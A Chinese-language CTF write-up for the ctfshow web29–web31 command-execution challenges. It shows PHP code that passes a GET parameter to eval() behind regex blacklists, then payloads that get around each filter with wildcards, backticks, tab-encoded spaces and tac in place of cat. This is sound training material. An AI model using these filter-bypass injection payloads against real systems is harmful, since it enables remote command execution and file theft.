1. 程式人生 > 其它 >ctfshow WEB入門 命令執行 web29-web122

ctfshow WEB入門 命令執行 web29-web122

web29

題目原始碼:

if(isset($_GET['c'])){   
$c = $_GET['c'];   
    if(!preg_match("/flag/i", $c)){      
        eval($c);   
    }   
}   
else{  
    highlight_file(__FILE__);   
}

利用函式:eval()

繞過思路:萬用字元繞過flag過濾

Payload1:/?c=system(“ls”); #找到flag.php

Payload2:/?c=system(“cat fla*”);

web30

題目原始碼

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函式:eval()

繞過思路:過濾了system,這裡使用echo。flag,php過濾繼續用萬用字元繞過。

Payload1:?c=echo `cat *` ;

web31

題目原始碼

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用函式:eval()

繞過思路:過濾了system,這裡使用echo。flag,php過濾繼續用萬用字元繞過。空格用%09繞過,cat被過濾了換成tac。

Payload1:?c=echo `tac%09*`;